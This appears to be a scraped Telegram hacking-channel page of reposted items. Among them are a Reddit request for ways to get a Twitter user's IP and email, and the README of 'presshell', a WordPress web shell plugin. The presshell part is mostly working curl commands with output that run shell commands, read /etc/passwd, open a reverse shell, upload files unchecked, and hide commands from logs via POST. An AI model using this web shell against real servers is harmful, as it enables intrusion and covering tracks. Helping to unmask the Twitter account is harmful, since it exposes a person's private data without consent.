Hacking Articles Tips Tricks Videos Tutorials
467 subscribers
65.7K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Social Hunter

Crawls the given URL and finds broken social media links that can be hijacked. Broken social links may allow an attacker to conduct…Continue reading on Medium »
Read more...
hacking: security in practice
grabbing a twitter user's IP, or possibly more, with ethical reasons

let's say, hypothetically, i know a twitter user who claims to be a middle school PE teacher in georgia, and is one of those lolicon bags of shit, how could i get information such as an IP address, email, etc. from the account so i could report this account to their employer?

submitted by /u/eshum953
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
Wireshark asking me to turn off Promiscuous Mode?

So I bought a network adapter. I bridged it to my laptop's network card. I set it into Promiscuous Mode. Wireshark errors and tells me to turn off the Promiscuous Mode. Is this just a Windows 10 issue?

submitted by /u/StornZ
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
Dark Reading: Attacks/Breaches
Securing the Stopgap: Controlling Access to SaaS Applications

If enterprises continue to use emergency measures as long-term solutions, they must protect their IT estate.
presshell Quick & dirty Wordpress Command Execution Shell. Execute shell commands on your wordpress (https://www.kitploit.com/search/label/WordPress) server. Uploaded shell will probably be at /wp-content/plugins/shell/shell.php Installation To install the shell, we are assuming you have administrative rights to Wordpress and can install plugins since transferring a PHP file to the media library (https://www.kitploit.com/search/label/Library) shouldn't work anyway. Otherwise, you have a bigger problem. Simply upload the zip file located in the Releases section as a new extension and you're good to go.
Usage Using the shell is straightforward. Simply pass sh commands as an argument to the shell : ❯ curl 'http://host/.../shell.php?cmd=uname+-a'
Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux You may as well pass these arguments in a POST request, which is the recommended way to keep your commands out of logs. ❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'
LICENSE
README.md
shell.php More complex commands are also supported, careful about your quoting though. ❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=cat /etc/passwd | grep -v "\(false\|nologin\)"'
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync ❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=python -c "from urllib.parse import urlencode; print(urlencode({\"cmd\": \"uname -a\"}))"'
cmd=uname+-a You can also open a reverse (https://www.kitploit.com/search/label/Reverse) shell using the ip and port parameters. The default port is 443. ❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1' ❯ curl 'http://host/.../shell.php' --data-urlencode 'ip=127.0.0.1' --data-urlencode 'port=1337' There is also an option provided for convenience to upload a file to the directory of the plugin (https://www.kitploit.com/search/label/Plugin) unconditionally and without checks. ❯ curl 'http://host/.../shell.php' -F 'file=@some_file'
❯ curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'
LICENSE
README.md
shell.php
some_file Disclaimer Running unathorized attacks to public or private servers is illegal. The content of this repository is for educational purposes only and no responsibility will be taken by the authors (https://www.kitploit.com/search/label/Authors) in case of ill use of the provided material.

Download Presshell (https://github.com/scheatkode/presshell)

___________________________
@hacking_Attack
@Hacking_Video